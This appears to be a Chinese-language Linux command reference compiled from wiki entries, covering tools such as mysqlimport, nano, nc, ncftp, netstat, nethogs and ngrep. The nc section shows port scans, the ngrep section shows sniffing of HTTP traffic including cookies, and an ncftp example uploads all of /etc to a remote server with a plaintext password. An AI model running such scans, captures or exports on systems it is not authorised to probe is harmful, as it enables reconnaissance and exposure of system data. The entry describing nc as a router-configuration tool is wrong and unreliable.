`-d`没有数据,`--add-drop-tabl`e每个create语句之前增加一个`drop table`


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mysqlimport
===

为MySQL服务器用命令行方式导入数据

</div>

!! 补充说明

:<div>


"mysqlimport命令" 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。

</div>

!! 语法  

:<div>


```
mysqlimport(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-D:导入数据前清空表;
-f:出现错误时继续处理剩余的操作;
-h:MySQL服务器的ip地址或主机名;
-u:连接MySQL服务器的用户名;
-p:连接MySQL服务器的密码。
```

</div>

!! 参数  

:<div>


*   数据库名:指定要导入的数据库名称;
*   文本文件:包含特定格式文本文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mysqlshow
===

显示MySQL中数据库相关信息

</div>

!! 补充说明

:<div>


"mysqlshow命令" 用于显示mysql服务器中数据库、表和列表信息。

</div>

!! 语法  

:<div>


```
mysqlshow(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-h:MySQL服务器的ip地址或主机名;
-u:连接MySQL服务器的用户名;
-p:连接MySQL服务器的密码;
--count:显示每个数据表中数据的行数;
-k:显示数据表的索引;
-t:显示数据表的类型;
-i:显示数据表的额外信息。
```

</div>

!! 参数  

:<div>


数据库信息:指定要显示的数据库信息,可以是一个数据库名,或者是数据库名和表名,或者是数据库名、表名和列名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! 安装步骤
:<div>

```bash
# 拉取仓库
git clone https://github.com/ntop/n2n.git

# 安装工具包
yum install dh-autoreconf
cd n2n

# create makefile
./autogen

# 编译安装
make && make install
```
</div>
!!简介
:<div>
named-checkzone
===

使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。

</div>

!! 补充说明

:<div>


"named-checkzone命令" 可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。

</div>

!! 语法  

:<div>


```
named-checkzone [选项] [区域名] [区域文件名]
```

</div>

!! 选项  

:<div>


```
-q 安静模式
-d 启用调试
-c <类别> 指定区域的类别。如果没指定就使用IN
```

</div>

!! 例子

:<div>


对区域文件/var/named/192.168.0.rev进行有效性检查和转换。

```bash
[root@localhost ~]# named-checkzone 0.168.192.in-addr.arpa /var/named/192.168.0.rev
zone0.168.192.in-addr.arpa/IN: loaded serial 1268360612
OK
```

对区域文件/var/named/sh.com.hosts进行有效性检查和转换。

```bash
[root@localhost ~]#  named-checkzone sh.com /var/named/sh.com.hosts
zonesh.com/IN: sh.com/MX 'mail.sh.com' is a CNAME (illegal)
zonesh.com/IN: loaded serial 1268360234
OK
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
nano
===

字符终端文本编辑器

</div>

!! 补充说明

:<div>


"nano" 是一个字符终端的文本编辑器,有点像DOS下的editor程序。它比vi/vim要简单得多,比较适合Linux初学者使用。某些Linux发行版的默认编辑器就是nano。

nano命令可以打开指定文件进行编辑,默认情况下它会自动断行,即在一行中输入过长的内容时自动拆分成几行,但用这种方式来处理某些文件可能会带来问题,比如Linux系统的配置文件,自动断行就会使本来只能写在一行上的内容折断成多行了,有可能造成系统不灵了。因此,如果你想避免这种情况出现,就加上`-w`选项吧。

</div>

!! 语法  

:<div>


```
nano [选项] [[+行,列] 文件名]...
```

</div>

!! 选项  

:<div>


```
 -h, -?         --help                  显示此信息
 +行,列                                 从所指列数与行数开始
 -A             --smarthome             启用智能 HOME 键
 -B             --backup                储存既有文件的备份
 -C <目录>      --backupdir=<目录>      用以储存独一备份文件的目录
 -D             --boldtext              用粗体替代颜色反转
 -E             --tabstospaces          将已输入的制表符转换为空白
 -F             --multibuffer           启用多重文件缓冲区功能
 -H             --historylog            记录与读取搜索/替换的历史字符串
 -I             --ignorercfiles         不要参考nanorc 文件
 -K             --rebindkeypad          修正数字键区按键混淆问题
 -L             --nonewlines            不要将换行加到文件末端
 -N             --noconvert             不要从 DOS/Mac 格式转换
 -O             --morespace             编辑时多使用一行
 -Q <字符串>    --quotestr=<字符串>     引用代表字符串
 -R             --restricted            限制模式
 -S             --smooth                按行滚动而不是半屏
 -T <#列数>     --tabsize=<#列数>       设定制表符宽度为 #列数
 -U             --quickblank            状态行快速闪动
 -V             --version               显示版本资讯并离开
 -W             --wordbounds            更正确地侦测单字边界
 -Y <字符串>    --syntax=<字符串>       用于加亮的语法定义
 -c             --const                 持续显示游标位置
 -d             --rebinddelete          修正退格键/删除键混淆问题
 -i             --autoindent            自动缩进新行
 -k             --cut                   从游标剪切至行尾
 -l             --nofollow              不要依照符号连结,而是覆盖
 -m             --mouse                 启用鼠标功能
 -o <目录>      --operatingdir=<目录>   设定操作目录
 -p             --preserve              保留XON (^Q) 和XOFF (^S) 按键
 -q             --quiet                 沉默忽略启动问题, 比如rc 文件错误
 -r <#列数>     --fill=<#列数>          设定折行宽度为 #列数
 -s <程序>      --speller=<程序>        启用替代的拼写检查程序
 -t             --tempfile              离开时自动储存,不要提示
 -u             --undo                  允许通用撤销[试验性特性]
 -v             --view                  查看(只读)模式
 -w             --nowrap                不要自动换行
 -x             --nohelp                不要显示辅助区
 -z             --suspend               启用暂停功能
 -$             --softwrap              启用软换行
 -a, -b, -e,
 -f, -g, -j                             (忽略,为与pico 相容)
```

</div>

!! 用法  

:<div>


 "光标控制" 

*   移动光标:使用用方向键移动。
*   选择文字:按住鼠标左键拖到。

 "复制、剪贴和粘贴" 

*   复制一整行:Alt+6
*   剪贴一整行:Ctrl+K

 "粘贴:Ctrl+U" 

如果需要复制/剪贴多行或者一行中的一部分,先将光标移动到需要复制/剪贴的文本的开头,按Ctrl+6(或者Alt+A)做标记,然后移动光标到 待复制/剪贴的文本末尾。这时选定的文本会反白,用Alt+6来复制,Ctrl+K来剪贴。若在选择文本过程中要取消,只需要再按一次Ctrl+6。

 "搜索" 

按Ctrl+W,然后输入你要搜索的关键字,回车确定。这将会定位到第一个匹配的文本,接着可以用Alt+W来定位到下一个匹配的文本。

 "翻页" 

*   Ctrl+Y到上一页
*   Ctrl+V到下一页

 "保存" 

使用Ctrl+O来保存所做的修改

 "退出" 

按Ctrl+X

如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为)则输入新名称然后确 定。这个时候也可用Ctrl+C来取消返回。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

!!简介
:<div>
nc
===

命令用于设置路由器。

</div>

!! 补充说明

:<div>


"nc命令" 用于设置路由器。执行本指令可设置路由器的相关参数。

</div>

!! 语法  

:<div>


```
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>]
[-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
```

</div>

!! 选项  

:<div>


```
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
```

</div>

!! 实例

:<div>


TCP端口扫描

```
[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100 
192.168.0.3: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.3] 80 (http) open
(UNKNOWN) [192.168.0.3] 23 (telnet) open
(UNKNOWN) [192.168.0.3] 22 (ssh) open
```

扫描192.168.0.3 的端口 范围是 1-100
扫描UDP端口

```
[root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000  # 扫描192.168.0.3 的端口 范围是 1-1000
```

扫描指定端口

```
[root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口
(UNKNOWN) [192.168.0.1] 80 (?) open
y  //用户输入
```

查看从服务器到目的地的出站端口 443 是否被防火墙阻止

```bash
nc -vz acme-v02.api.letsencrypt.org 443 -w2
# Ncat: Version 7.50 ( https://nmap.org/ncat )
# Ncat: Connected to 23.77.214.183:443.
# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ncftp
===

是增强的的FTP工具

</div>

!! 补充说明

:<div>


"ncftp命令" 是增强的的ftp工具,比传统的FTP指令更加强大。FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。ncftp是文字模式FTP程序的佼佼者,它具备多样特色,包括显示传输速率,下载进度,自动续传,标住书签,可通过防火墙和代理服务器等。

</div>

!! 语法  

:<div>


```
ncftp(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-u:指定登录FTP服务器时使用的用户名;
-p:指定登录FTP服务器时使用的密码;
-P:如果FTP服务器没有使用默认的TCP协议的21端口,则使用此选项指定FTP服务器的端口号。
-m:在传之前尝试在目录位置创建目录(用于传目录的情况)
-R:递规传子目录
```

</div>

!! 参数  

:<div>


FTP服务器:指定远程FTP服务器的ip地址或主机名。

</div>

!! 安装  

:<div>


```
wget ftp://ftp.ncftp.com/ncftp/ncftp-3.2.3-src.tar.gz
tar zxvf ncftp-3.2.3-src.tar.gz
cd ncftp-3.2.3/
./configure --prefix=/usr/local/ncftp
make && make install
```

</div>

!! 实例  

:<div>


将本地/etc/目录内的所有文件和目录,上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建)。

```
/usr/local/ncftp/bin/ncftpput -u koumm -p koumm -P 21 -m -R 192.168.162.137  flv/games/ /etc/*
```

 "指令说明" 

ncftp的基本命令和普通ftp一样,可以输入help获得命令列表。对于所有的命令,都可以使用help <命令>的格式获得详细帮助。l开头的就是对本地执行的命令,其它的就是对登入的ftp服务目录的操作命令。

增加的本地文件系统的操作命令:

*   lls: 列出本地当前目录文件;
*   lmkdir : 本地建立目录;
*   lrename: 本地文件改名;
*   lpwd: 显示当前本地路 径;
*   lchmod: 改变本地文件权限;
*   lpage: 显示本地文件内容;
*   lrm: 删除本地文件;
*   lrmdir: 删除本地目录。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!! 01. 简介
:<pre>

;当Windows访问一个不存在的域名时,的解析过程。

:1.localhosts  解析本地host文件
:2.DNS       查询
:3.NBNS   
---
;NetBIOS 名称为 16 字节长(必要情况下使用填充位填满),对使用的字节值几乎没有限制。
---
对于不执行路由的小型网络,将 NetBIOS 名称映射到 IP 地址上有三种方法:



>1. IP 广播 - 
>>当目标地址不在本地 cache 上时,广播一个 包含目标计算机 NetBIOS 名称的数据包。目标计算机返回其 IP 地址。


>2. lmhosts 文件 
>>这是一个负责映射 IP 地址和 NetBIOS 计算机名称的文件。

>3. NBNS - 
>>NetBIOS 命名服务器负责将 NetBIOS 名称映射到 IP 地址上。该服务由 Linux 环境下的后台程序(nmbd daemon)执行。
</pre>

!! 02. 相关命令
:<pre>

[[nbstat]]
</pre>
!!简介
:<div>
nethogs
===

终端下的网络流量监控工具

</div>

!! 补充说明

:<div>


有很多适用于Linux系统的开源网络监视工具。比如说,你可以用命令iftop来检查带宽使用情况。netstat用来查看接口统计报告,还有top监控系统当前运行进程。但是如果你想要找一个能够按进程实时统计网络带宽利用率的工具,那么NetHogs值得一看。

 "NetHogs" 是一个开源的命令行工具(类似于Linux的top命令),用来按进程或程序实时统计网络带宽使用率。

来自NetHogs项目网站:

> NetHogs是一个小型的net top工具,不像大多数工具那样拖慢每个协议或者是每个子网的速度而是按照进程进行带宽分组。NetHogs不需要依赖载入某个特殊的内核模块。如果发生了网络阻塞你可以启动NetHogs立即看到哪个PID造成的这种状况。这样就很容易找出哪个程序跑飞了然后突然占用你的带宽。

本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率。


</div>

!! 语法  

:<div>


```
nethogs(选项)(参数)
```
</div>

!! 选项  

:<div>


```bash
usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]]
  -V : 打印版本。
  -h : 打印此帮助。
  -b : bughunt模式 - 暗示tracemode。
  -d : 延迟更新刷新率(以秒为单位)。 默认值为1。
  -v : 视图模式(0 = KB / s,1 =总KB,2 =总B,3 =总MB)。 默认值为0。
  -c : 更新次数。 默认为0(无限制)。
  -t : tracemode.
  -p : 煽动混乱模式(不推荐)。
  -s : 按发送列排序输出。
  -a : 监控所有设备,甚至环回/停止。
  device : 要监控的设备。 默认是所有接口启动和运行,不包括环回

当nethogs运行时,按:
  q:退出
  s:按SENT流量排序
  r:按RECEIVE流量排序
  m:在总(KB,B,MB)和KB / s模式之间切换
```

其他参数和用法

```
-d : 刷新间隔
-h : 帮助
-p : promiscious 模式
-t : trace模式 
-V : 版本
```

"交互命令"

以下是NetHogs的一些交互命令(键盘快捷键)

*   m : 修改单位
*   r : 按流量排序
*   s : 按发送流量排序
*   q : 退出命令提示符

</div>

!! 安装

:<div>


"在RHEL、CentOS和Fedora下安装NetHogs"

要安装NetHogs,你必须要启用你所用Linux下的EPEL源。然后运行下面的yum命令下载安装NetHogs包。

```
# yum install nethogs
```

"在Ubuntu、Linux mint和Debian下安装NetHogs"

键入apt-get命令安装NetHogs包:

```
$ sudo apt-get install nethogs
```

</div>

!! NetHogs用法  

:<div>


在基于RedHat系统下键入如下命令启动NetHogs工具。

```
# nethogs

```

在Debian/Ubuntu/Linux Mint下要执行NetHogs你必须拥有root权限:

```
$ sudo nethogs

```

!nethogs

Ubuntu 12.10 下的NetHogs预览

正如上图所示,send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令。

</div>

!! NetHogs 命令行参数  

:<div>


以下就是NetHogs命令行的参数,用-d来添加刷新频率参数,device name 用来检测给定的某个或者某些设备的带宽(默认是eth0)。例如:设置5秒钟的刷新频率,键入如下命令即可:

```
# nethogs -d 5

```

```
$ sudo nethogs -d 5

```

如果只用来监视设备(eth0)的网络带宽可以使用如下命令:

```
# nethogs eth0

```

```
$ sudo nethogs eth0

```

如果要同时监视eth0和eth1接口,使用以下命令即可:

```
# nethogs eth0 eth1

```

```
$ sudo nethogs eth0 eth1

```

关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入`man nethogs`或者`sudo man nethogs`,更多信息请参考NetHogs项目主页。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

''netstat''命令用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络情况。

!选项
:<pre>


-a或--all:显示所有连线中的Socket;
-A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址;
-c或--continuous:持续列出网络状态;
-C或--cache:显示路由器配置的快取信息;
-e或--extend:显示网络其他相关信息;
-F或--fib:显示FIB;
-g或--groups:显示多重广播功能群组组员名单;
-h或--help:在线帮助;
-i或--interfaces:显示网络界面信息表单;
-l或--listening:显示监控中的服务器的Socket;
-M或--masquerade:显示伪装的网络连线;
-n或--numeric:直接使用ip地址,而不通过域名服务器;
-N或--netlink或--symbolic:显示网络硬件外围设备的符号连接名称;
-o或--timers:显示计时器;
-p或--programs:显示正在使用Socket的程序识别码和程序名称;
-r或--route:显示Routing Table;
-s或--statistice:显示网络工作信息统计表;
-t或--tcp:显示TCP传输协议的连线状况;
-u或--udp:显示UDP传输协议的连线状况;
-v或--verbose:显示指令执行过程;
-V或--version:显示版本信息;
-w或--raw:显示RAW传输协议的连线状况;
-x或--unix:此参数的效果和指定"-A unix"参数相同;
--ip或--inet:此参数的效果和指定"-A inet"参数相同。
</pre>
!实例
    ;列出所有端口 (包括监听和未监听的)
:<pre>

```bash
netstat -a     #列出所有端口
netstat -at    #列出所有tcp端口
netstat -au    #列出所有udp端口    
```
</pre>                         
;列出所有处于监听状态的 Sockets
:<pre>

```bash
netstat -l        #只显示监听端口
netstat -lt       #只列出所有监听 tcp 端口
netstat -lu       #只列出所有监听 udp 端口
netstat -lx       #只列出所有监听 UNIX 端口
```
</pre>
;显示每个协议的统计信息

:<pre>

```bash

netstat -s   显示所有端口的统计信息
netstat -st   显示TCP端口的统计信息
netstat -su   显示UDP端口的统计信息
```
</pre>

;在netstat输出中显示 PID 和进程名称

:<pre>

```bash

netstat -pt
netstat -p可以与其它开关一起使用,就可以添加“PID/进程名称”到netstat输出中,这样debugging的时候可以很方便的发现特定端口运行的程序。
```
</pre>
;在netstat输出中不显示主机,端口和用户名(host, port or user)
:<pre>

```bash

当你不想让主机,端口和用户名显示,使用`netstat -n`。将会使用数字代替那些名称。同样可以加速输出,因为不用进行比对查询。

netstat -an
```
</pre>
;如果只是不想让这三个名称中的一个被显示,使用以下命令:
:<pre>

```bash

netsat -a --numeric-ports
netsat -a --numeric-hosts
netsat -a --numeric-users
```
</pre>

;持续输出netstat信息

:<pre>

```bash

netstat -c   #每隔一秒输出网络信息
```
</pre>
;显示系统不支持的地址族(Address Families)
:<pre>

```bash

netstat --verbose
#在输出的末尾,会有如下的信息:

netstat: no support for `AF IPX' on this system.
netstat: no support for `AF AX25' on this system.
netstat: no support for `AF X25' on this system.
netstat: no support for `AF NETROM' on this system.
```
</pre>
;显示核心路由信息
:<pre>

```bash

netstat -r
使用netstat -rn显示数字格式,不查询主机名称。
```
</pre>

;找出程序运行的端口

:<pre>

```bash

#并不是所有的进程都能找到,没有权限的会不显示,使用 root 权限查看所有的信息。

netstat -ap | grep ssh
```
</pre>

;找出运行在指定端口的进程:
:<pre>

```bash

netstat -an | grep ':80'
```
</pre>
;显示网络接口列表
:<pre>

```bash

netstat -i

#显示详细信息,像是ifconfig使用netstat -ie。
```
</pre>
;IP和TCP分析

;;查看连接某服务端口最多的的IP地址:
:<pre>

```bash

netstat -ntu | grep :80 | awk '{print $5}' | cut -d: -f1 | awk '{++ip[$1]} END {for(i in ip) print ip[i],"\t",i}' | sort -nr
```
</pre>
;TCP各种状态列表:
:<pre>

```bash

netstat -nt | grep -e 127.0.0.1 -e 0.0.0.0 -e ::: -v | awk '/^tcp/ {++state[$NF]} END {for(i in state) print i,"\t",state[i]}'
```
</pre>

;查看phpcgi进程数,如果接近预设值,说明不够用,需要增加:
:<pre>

```bash
netstat -anpo | grep "php-cgi" | wc -l
```
</pre>

* EXP<pre>

```bash

# WARNING ! netstat is deprecated. Look below.

# To view which users/processes are listening to which ports:
sudo netstat -lnptu

# To view routing table (use -n flag to disable DNS lookups):
netstat -r

# Which process is listening to port <port>
netstat -pln | grep <port> | awk '{print $NF}'

Example output: 1507/python

# Fast display of ipv4 tcp listening programs
sudo netstat -vtlnp --listening -4

# WARNING ! netstat is deprecated.
# Replace it by:
ss

# For netstat-r
ip route

# For netstat -i
ip -s link

# For netstat-g
ip maddr
```
</pre>
<div class="network">

    <<toc-selective-expandable 'network'>>

</div>
{{bash_head}}

```bash
function network_speed(){
    LANG=""
    while true
    do
        up_time1=`ifconfig $1 | grep "bytes" | awk '{print $6}'|sed 's/bytes://g'`
        down_time1=`ifconfig $1 | grep "bytes" | awk '{print $2}'|sed 's/bytes://g'`
     
        sleep 1
        
        up_time2=`ifconfig $1 | grep "bytes" | awk '{print $6}'|sed 's/bytes://g'`
        down_time2=`ifconfig $1 | grep "bytes" | awk '{print $2}'|sed 's/bytes://g'`
     
        up_time=`expr $up_time2 - $up_time1`
        down_time=`expr $down_time2 - $down_time1`
        up_time=`expr $up_time / 1024`
        down_time=`expr $down_time / 1024`
     
        echo 上传速度: $up_time kb/s
        echo 下载速度: $down_time kb/s
        sleep 1;clear
    done
}
```
* exp<pre>

```bash
echo SYSLOG_SG_ENAB yes >> /etc/login.defs

[root@hs03 ~]# tail /var/log/secure
Sep  3 19:47:54 HS03 newgrp[15665]: user 'u1' (login 'root' on pts/4) switched to group 'u2'
Sep  3 19:48:05 HS03 newgrp[15680]: user 'u1' (login 'root' on pts/4) switched to group 'u1'
Sep  3 19:48:16 HS03 newgrp[15695]: user 'u1' (login 'root' on pts/4) switched to group 'u2'
Sep  3 19:48:19 HS03 newgrp[15710]: user 'u1' (login 'root' on pts/4) switched to group 'u2'
Sep  3 19:48:20 HS03 newgrp[15725]: user 'u1' (login 'root' on pts/4) switched to group 'u2'
Sep  3 19:48:21 HS03 newgrp[15740]: user 'u1' (login 'root' on pts/4) switched to group 'u2'
Sep  3 19:48:21 HS03 newgrp[15755]: user 'u1' (login 'root' on pts/4) switched to group 'u2'
Sep  3 19:48:22 HS03 newgrp[15770]: user 'u1' (login 'root' on pts/4) switched to group 'u2'
Sep  3 19:48:23 HS03 newgrp[15785]: user 'u1' (login 'root' on pts/4) switched to group 'u2'

```
</pre>

* kill<pre>

```bash
        /*
         * We want to fork and exec the new shell in the child, leaving the
         * parent waiting to log the session close.
         *
         * The parent must ignore signals generated from the console
         * (SIGINT, SIGQUIT, SIGHUP) which might make the parent terminate
         * before its child. When bash is exec'ed as the subshell, it
         * generates a new process group id for itself, and consequently
         * only SIGHUP, which is sent to all process groups in the session,
         * can reach the parent. However, since arbitrary programs can be
         * specified as login shells, there is no such guarantee in general.
         * For the same reason, we must also ignore stop signals generated
         * from the console (SIGTSTP, SIGTTIN, and SIGTTOU) in order to
         * avoid any possibility of the parent being stopped when it
         * receives SIGCHLD from the terminating subshell.  -- JWP
         */
```
</pre>


*help

**NAME<pre>
       newgrp - log in to a new group

</pre>
**SYNOPSIS<pre>
       newgrp [-] [group]

</pre>
**DESCRIPTION<pre>
       The newgrp command is used to change the current group ID during a
       login session. If the optional - flag is given, the user's environment
       will be reinitialized as though the user had logged in, otherwise the
       current environment, including current working directory, remains
       unchanged.

       newgrp changes the current real group ID to the named group, or to the
       default group listed in /etc/passwd if no group name is given.  newgrp
       also tries to add the group to the user groupset. If not root, the user
       will be prompted for a password if she does not have a password (in
       /etc/shadow if this user has an entry in the shadowed password file, or
       in /etc/passwd otherwise) and the group does, or if the user is not
       listed as a member and the group has a password. The user will be
       denied access if the group password is empty and the user is not listed
       as a member.

       If there is an entry for this group in /etc/gshadow, then the list of
       members and the password of this group will be taken from this file,
       otherwise, the entry in /etc/group is considered.

</pre>
**CONFIGURATION<pre>
       The following configuration variables in /etc/login.defs change the
       behavior of this tool:

       SYSLOG_SG_ENAB (boolean)
           Enable "syslog" logging of sg activity.

</pre>
**FILES<pre>
       /etc/passwd
           User account information.

       /etc/shadow
           Secure user account information.

       /etc/group
           Group account information.

       /etc/gshadow
           Secure group account information.

</pre>
**SEE ALSO<pre>
       id(1), login(1), su(1), sg(1), gpasswd(1), group(5), gshadow(5).
</pre>
!!简介
:<div>
newusers
===

用于批处理的方式一次创建多个命令

</div>

!! 补充说明

:<div>


"newusers命令" 用于批处理的方式一次创建多个命令。

</div>

!! 语法  

:<div>


```
newusers(参数)
```

</div>

!! 参数  

:<div>


用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。

</div>

!! 实例  

:<div>


实用newusers命令批量添加用户:

用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同。

```
用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL
```

举例:

```
jingang0:x:520:520::/home/jingang0:/sbin/nologin
jingang1:x:521:521::/home/jingang1:/sbin/nologin
......
```

值得一提的是关于SHELL类型,查看主机上所有SHELL,可以通过chsh来查看:

```
[root@localhost beinan]# chsh --list
/bin/sh
/bin/bash
/sbin/nologin
/bin/ksh
/bin/tcsh
/bin/csh
/bin/zsh
```

其中除了`/sbin/nologin`,其它类型的SHELL都能登录系统,nologin大多是虚拟用户用的SHELL,也就是说虽然他是系统用户,但他并无登录系统的权限;如果您想添加这类用户,就把他的SHELL设置成`/sbin/nologin`,比如上面的例子。

关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
nfsstat
===

列出NFS客户端和服务器的工作状态

</div>

!! 补充说明

:<div>


"nfsstat命令" 用于列出NFS客户端和服务器的工作状态。

</div>

!! 语法  

:<div>


```
nfsstat(选项)
```

</div>

!! 选项  

:<div>


```
-s:仅列出NFS服务器端状态;
-c:仅列出NFS客户端状态;
-n:仅列出NFS状态,默认显示nfs客户端和服务器的状态;
-2:仅列出NFS版本2的状态;
-3:仅列出NFS版本3的状态;
-4:仅列出NFS版本4的状态;
-m:打印以加载的nfs文件系统状态;
-r:仅打印rpc状态。
```

</div>

!! 实例  

:<div>


要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入:

```
nfsstat -c
```

要显示和打印与客户机NFS调用相关的信息,输入如下命令:

```
nfsstat -cn
```

要显示和打印客户机和服务器的与RPC调用相关的信息,输入如下命令:

```
nfsstat -r
```

要显示关于服务器接收和拒绝的RPC和NFS调用数目的信息,输入如下命令:

```
nfsstat –s
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
[root@manage:~]# cat /var/log/nginx/access.log | awk '{print $1}'|sort|uniq -c | sort -nr | head -10
  10299 10.46.170.7
      4 218.202.70.147
      1 77.72.83.87
      1 5.39.217.107
      1 185.197.74.234
      1 185.197.74.231
```
!!简介
:<div>
ngrep
===

方便的数据包匹配和显示工具

</div>

!! 补充说明

:<div>


"ngrep命令" 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包,理解bpf的过滤机制。

</div>

!! 安装  

:<div>


ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。

如果yum无法安装就用以下步骤安装libpcap:

```
wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz
tar -zxf libpcap-1.3.0.tar.gz
cd libpcap-1.3.0
./configure
make && make install
```

ngrep的安装就是 configure/make/make install 三部曲。

注:configure时是遇到 please wipe out all unused pcap installations,添加以下选项:

```
./configure --with-pcap-includes=/usr/local/include/pcap
```

在安装后输入ngrep来验证下安装是否成功。

</div>

!! 语法  

:<div>


```
ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num>
<-s snaplen> <-S limitlen> <-w normal|byline|single|none> <-c cols>
<-P char> <-F file> <match expression> <bpf filter>
```

</div>

!! 选项  

:<div>


```
-e :显示空数据包
-i :忽略大小写
-v :反转匹配
-R :don't do privilege revocation logic
-x :以16进制格式显示
-X :以16进制格式匹配
-w :整字匹配
-p :不使用混杂模式
-l :make stdout line buffered
-D :replay pcap_dumps with their recorded time intervals
-t :在每个匹配的包之前显示时间戳
-T :显示上一个匹配的数据包之间的时间间隔
-M :仅进行单行匹配
-I :从文件中读取数据进行匹配
-O :将匹配的数据保存到文件
-n :仅捕获指定数目的数据包进行查看
-A :匹配到数据包后dump随后的指定数目的数据包
-s :set the bpf caplen
-S :set the limitlen on matched packets
-W :设置显示格式byline将解析包中的换行符
-c :强制显示列的宽度
-P :set the non-printable display char to what is specified
-F :使用文件中定义的bpf(Berkeley Packet Filter)
-N :显示由IANA定义的子协议号
-d :使用哪个网卡,可以用-L选项查询
-L :查询网卡接口
```

</div>

!! 实例  

:<div>


捕捉cloudian:18080端口的request和response,`-W byline`用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。`-d lo`是监听本地网卡:

```
ngrep -W byline -d lo port 18080
```

捕捉amazon:80端口的request和response。`-d eth0是`用来监听对外的网卡:

```
ngrep -W byline -d eth0 port 80
```

可以用`-d any`来捕捉所有的包:

```
ngrep '[a-zA-Z]' -t -W byline -d any tcp port 18080
```

捕获字符串`.flv`,比如要查看在Web Flash 视频中的.flv文件的下载地址:

```
ngrep -d3 -N -q \.flv
interface: \Device\TNT_40_1_{670F6B50-0A13-4BAB-9D9E-994A833F5BA9} (10.132.0.0/2
55.255.192.0)
match: \.flv
```

打开一个视频页面:

```
T(6) 10.132.34.23:24860 -> 61.142.208.154:80 [AP]
GET /f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_119556973
97.flv HTTP/1.1..accept: */*..Referer: http://www.56.com/flashApp/v_player_
site.swf..x-flash-version: 9,0,45,0..UA-CPU: x86..Accept-Encoding: gzip, de
flate..User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET
CLR 2.0.50727; .NET CLR 3.0.04506.30)..host: f59.r.56.com..Connection: Keep
-Alive..Cookie: whistoryview=23423759-23635627-23423344-23171935-23058374-2
3081156-23207350-22395727-; geoip=............; wl_all_s=y....
```

OK。地址已经找到了,就是http://f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_11955697397.flv

加个`-W byline`参数后,将解析包中的换行符:

```
T(6) 2007/11/25 15:56:12.192619 10.132.34.23:26365 -> 59.151.21.101:80 [AP]
GET /aa.flv HTTP/1.1.
Accept: */*.
Accept-Language: zh-cn.
UA-CPU: x86.
Accept-Encoding: gzip, deflate.
